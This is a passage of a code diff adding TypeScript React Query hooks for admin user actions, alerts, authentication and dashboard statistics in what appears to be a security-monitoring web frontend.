> => {
const queryClient = useQueryClient()
return useMutation({
mutationFn: async (userId: string) => {
const response = await apiClient.post<UserResponse>(
API_ENDPOINTS.ADMIN.ACTIVATE(userId)
)
return response.data
},
onSuccess: (data: UserResponse): void => {
queryClient.invalidateQueries({ queryKey: adminQueries.all() })
toast.success(ADMIN_SUCCESS_MESSAGES.USER_ACTIVATED(data.username))
},
onError: (error: Error): void => {
toast.error(error.message)
},
})
}
export const useAdminDeleteUser = (): UseMutationResult<
DeleteResponse,
Error,
string
> => {
const queryClient = useQueryClient()
return useMutation({
mutationFn: async (userId: string) => {
const response = await apiClient.delete<DeleteResponse>(
API_ENDPOINTS.ADMIN.USER_BY_ID(userId)
)
return response.data
},
onSuccess: (): void => {
queryClient.invalidateQueries({ queryKey: adminQueries.all() })
toast.success(ADMIN_SUCCESS_MESSAGES.USER_DELETED)
},
onError: (error: Error): void => {
toast.error(error.message)
},
})
}

View File

@ -0,0 +1,85 @@
// ===================
// ©AngelaMos | 2026
// useAlerts.ts
// ===================
import {
type UseMutationResult,
type UseQueryResult,
useMutation,
useQuery,
useQueryClient,
} from '@tanstack/react-query'
import { toast } from 'sonner'
import type {
Alert,
AlertDetail,
AlertQueryParams,
AlertStatusUpdateRequest,
PaginatedResponse,
} from '@/api/types'
import { API_ENDPOINTS, PAGINATION, QUERY_KEYS } from '@/config'
import { apiClient, QUERY_STRATEGIES } from '@/core/lib'
export const alertQueries = {
all: () => QUERY_KEYS.ALERTS.ALL,
list: (page: number, size: number) => QUERY_KEYS.ALERTS.LIST(page, size),
byId: (id: string) => QUERY_KEYS.ALERTS.BY_ID(id),
} as const
export const useAlerts = (
params: AlertQueryParams = {}
): UseQueryResult<PaginatedResponse<Alert>, Error> => {
const page = params.page ?? PAGINATION.DEFAULT_PAGE
const perPage = params.per_page ?? PAGINATION.DEFAULT_SIZE
return useQuery({
queryKey: alertQueries.list(page, perPage),
queryFn: async () => {
const response = await apiClient.get<PaginatedResponse<Alert>>(
API_ENDPOINTS.ALERTS.LIST,
{ params }
)
return response.data
},
...QUERY_STRATEGIES.frequent,
})
}
export const useAlertDetail = (
alertId: string
): UseQueryResult<AlertDetail, Error> => {
return useQuery({
queryKey: alertQueries.byId(alertId),
queryFn: async () => {
const response = await apiClient.get<AlertDetail>(
API_ENDPOINTS.ALERTS.BY_ID(alertId)
)
return response.data
},
enabled: alertId.length > 0,
})
}
export const useUpdateAlertStatus = (
alertId: string
): UseMutationResult<Alert, Error, AlertStatusUpdateRequest> => {
const queryClient = useQueryClient()
return useMutation({
mutationFn: async (payload: AlertStatusUpdateRequest) => {
const response = await apiClient.patch<Alert>(
API_ENDPOINTS.ALERTS.STATUS(alertId),
payload
)
return response.data
},
onSuccess: (): void => {
queryClient.invalidateQueries({ queryKey: alertQueries.all() })
toast.success('Alert status updated')
},
onError: (error: Error): void => {
toast.error(error.message)
},
})
}

View File

@ -0,0 +1,226 @@
// ===================
// ©AngelaMos | 2026
// useAuth.ts
// ===================
import {
type UseMutationResult,
type UseQueryResult,
useMutation,
useQuery,
useQueryClient,
} from '@tanstack/react-query'
import { toast } from 'sonner'
import {
AUTH_ERROR_MESSAGES,
AUTH_SUCCESS_MESSAGES,
AuthResponseError,
isValidTokenResponse,
isValidUpdateProfileResponse,
isValidUserResponse,
type LoginRequest,
type RegisterRequest,
type TokenResponse,
type UpdateProfileRequest,
type UpdateProfileResponse,
type UserResponse,
} from '@/api/types'
import { API_ENDPOINTS, QUERY_KEYS, ROUTES } from '@/config'
import { apiClient, QUERY_STRATEGIES } from '@/core/lib'
import { useAuthStore } from '@/core/stores'
export const authQueries = {
all: () => QUERY_KEYS.AUTH.ALL,
me: () => QUERY_KEYS.AUTH.ME(),
} as const
const fetchCurrentUser = async (): Promise<UserResponse> => {
const response = await apiClient.get<unknown>(API_ENDPOINTS.AUTH.ME)
const data: unknown = response.data
if (!isValidUserResponse(data)) {
throw new AuthResponseError(
AUTH_ERROR_MESSAGES.INVALID_USER_RESPONSE,
API_ENDPOINTS.AUTH.ME
)
}
return data
}
export const useCurrentUser = (): UseQueryResult<UserResponse, Error> => {
const isAuthenticated = useAuthStore((s) => s.isAuthenticated)
return useQuery({
queryKey: authQueries.me(),
queryFn: fetchCurrentUser,
enabled: isAuthenticated,
...QUERY_STRATEGIES.auth,
})
}
const performLogin = async (
credentials: LoginRequest
): Promise<TokenResponse> => {
const response = await apiClient.post<unknown>(
API_ENDPOINTS.AUTH.LOGIN,
credentials
)
const data: unknown = response.data
if (!isValidTokenResponse(data)) {
throw new AuthResponseError(
AUTH_ERROR_MESSAGES.INVALID_LOGIN_RESPONSE,
API_ENDPOINTS.AUTH.LOGIN
)
}
return data
}
export const useLogin = (): UseMutationResult<
TokenResponse,
Error,
LoginRequest
> => {
const queryClient = useQueryClient()
const login = useAuthStore((s) => s.login)
return useMutation({
mutationFn: performLogin,
onSuccess: async (data: TokenResponse): Promise<void> => {
useAuthStore.getState().setAccessToken(data.access_token)
const userResponse = await apiClient.get<unknown>(API_ENDPOINTS.AUTH.ME)
const userData: unknown = userResponse.data
if (!isValidUserResponse(userData)) {
throw new AuthResponseError(
AUTH_ERROR_MESSAGES.INVALID_USER_RESPONSE,
API_ENDPOINTS.AUTH.ME
)
}
login(userData, data.access_token)
queryClient.setQueryData(authQueries.me(), userData)
toast.success(AUTH_SUCCESS_MESSAGES.WELCOME_BACK(userData.username))
},
onError: (error: Error): void => {
const message =
error instanceof AuthResponseError ? error.message : 'Login failed'
toast.error(message)
},
})
}
const performRegister = async (
payload: RegisterRequest
): Promise<TokenResponse> => {
const response = await apiClient.post<unknown>(
API_ENDPOINTS.AUTH.REGISTER,
payload
)
const data: unknown = response.data
if (!isValidTokenResponse(data)) {
throw new AuthResponseError(
AUTH_ERROR_MESSAGES.INVALID_TOKEN_RESPONSE,
API_ENDPOINTS.AUTH.REGISTER
)
}
return data
}
export const useRegister = (): UseMutationResult<
TokenResponse,
Error,
RegisterRequest
> => {
const queryClient = useQueryClient()
const login = useAuthStore((s) => s.login)
return useMutation({
mutationFn: performRegister,
onSuccess: async (data: TokenResponse): Promise<void> => {
useAuthStore.getState().setAccessToken(data.access_token)
const userResponse = await apiClient.get<unknown>(API_ENDPOINTS.AUTH.ME)
const userData: unknown = userResponse.data
if (!isValidUserResponse(userData)) {
throw new AuthResponseError(
AUTH_ERROR_MESSAGES.INVALID_USER_RESPONSE,
API_ENDPOINTS.AUTH.ME
)
}
login(userData, data.access_token)
queryClient.setQueryData(authQueries.me(), userData)
toast.success(AUTH_SUCCESS_MESSAGES.REGISTERED)
},
onError: (error: Error): void => {
const message =
error instanceof AuthResponseError ? error.message : 'Registration failed'
toast.error(message)
},
})
}
export const useUpdateProfile = (): UseMutationResult<
UpdateProfileResponse,
Error,
UpdateProfileRequest
> => {
const queryClient = useQueryClient()
const updateUser = useAuthStore((s) => s.updateUser)
return useMutation({
mutationFn: async (
payload: UpdateProfileRequest
): Promise<UpdateProfileResponse> => {
const response = await apiClient.patch<unknown>(
API_ENDPOINTS.AUTH.UPDATE_PROFILE,
payload
)
const data: unknown = response.data
if (!isValidUpdateProfileResponse(data)) {
throw new AuthResponseError(
AUTH_ERROR_MESSAGES.INVALID_USER_RESPONSE,
API_ENDPOINTS.AUTH.UPDATE_PROFILE
)
}
return data
},
onSuccess: (data: UpdateProfileResponse): void => {
updateUser(data.user)
if (data.access_token !== undefined) {
useAuthStore.getState().setAccessToken(data.access_token)
}
queryClient.setQueryData(authQueries.me(), data.user)
toast.success(AUTH_SUCCESS_MESSAGES.PROFILE_UPDATED)
},
onError: (error: Error): void => {
toast.error(error.message)
},
})
}
export const useLogout = (): UseMutationResult<void, Error, void> => {
const queryClient = useQueryClient()
const logout = useAuthStore((s) => s.logout)
return useMutation({
mutationFn: async (): Promise<void> => {},
onSuccess: (): void => {
logout()
queryClient.removeQueries({ queryKey: authQueries.all() })
toast.success(AUTH_SUCCESS_MESSAGES.LOGOUT_SUCCESS)
window.location.href = ROUTES.LOGIN
},
})
}

View File

@ -0,0 +1,87 @@
// ===================
// ©AngelaMos | 2026
// useDashboard.ts
// ===================
import type { UseQueryResult } from '@tanstack/react-query'
import { useQuery } from '@tanstack/react-query'
import type {
DashboardOverview,
SeverityCount,
TimelineBucket,
TopSource,
} from '@/api/types'
import { API_ENDPOINTS, QUERY_KEYS } from '@/config'
import { apiClient, QUERY_STRATEGIES } from '@/core/lib'
export const dashboardQueries = {
all: () => QUERY_KEYS.DASHBOARD.ALL,
overview: () => QUERY_KEYS.DASHBOARD.OVERVIEW(),
timeline: (hours: number, bucket: number) =>
QUERY_KEYS.DASHBOARD.TIMELINE(hours, bucket),
severity: () => QUERY_KEYS.DASHBOARD.SEVERITY(),
topSources: (limit: number) => QUERY_KEYS.DASHBOARD.TOP_SOURCES(limit),
} as const
export const useDashboardOverview = (): UseQueryResult<
DashboardOverview,
Error
> => {
return useQuery({
queryKey: dashboardQueries.overview(),
queryFn: async () => {
const response = await apiClient.get<DashboardOverview>(
API_ENDPOINTS.DASHBOARD.OVERVIEW
)
return response.data
},
...QUERY_STRATEGIES.dashboard,
})
}
export const useTimeline = (
hours = 24,
bucketMinutes = 15
): UseQueryResult<TimelineBucket[], Error> => {
return useQuery({
queryKey: dashboardQueries.timeline(hours, bucketMinutes),
queryFn: async () => {
const response = await apiClient.get<TimelineBucket[]>(
API_ENDPOINTS.DASHBOARD.TIMELINE,
{ params: { hours, bucket_minutes: bucketMinutes } }
)
return response.data
},
...QUERY_STRATEGIES.dashboard,
})
}
export const useSeverityBreakdown = (): UseQueryResult<
SeverityCount[],
Error
> => {
return useQuery({
queryKey: dashboardQueries.severity(),
queryFn: async () => {
const response = await apiClient.get<SeverityCount[]>(
API_ENDPOINTS.DASHBOARD.SEVERITY
)
return response.data
},
...QUERY_STRATEGIES.dashboard,
})
}
export const useTopSources = (limit = 10): UseQueryResult<TopSource[], Error> => {
return useQuery({
queryKey: dashboardQueries.topSources(limit),
queryFn: async () => {
const response = await apiClient.get<TopSource[]>(
API_ENDPOINTS.DASHBOARD.TOP_SOURCES,
{ params: { limit } }
)
return response.data
},
...QUERY_STRATEGIES.dashboard,
})
}

Some files were not shown because too many files have changed in this diff Show More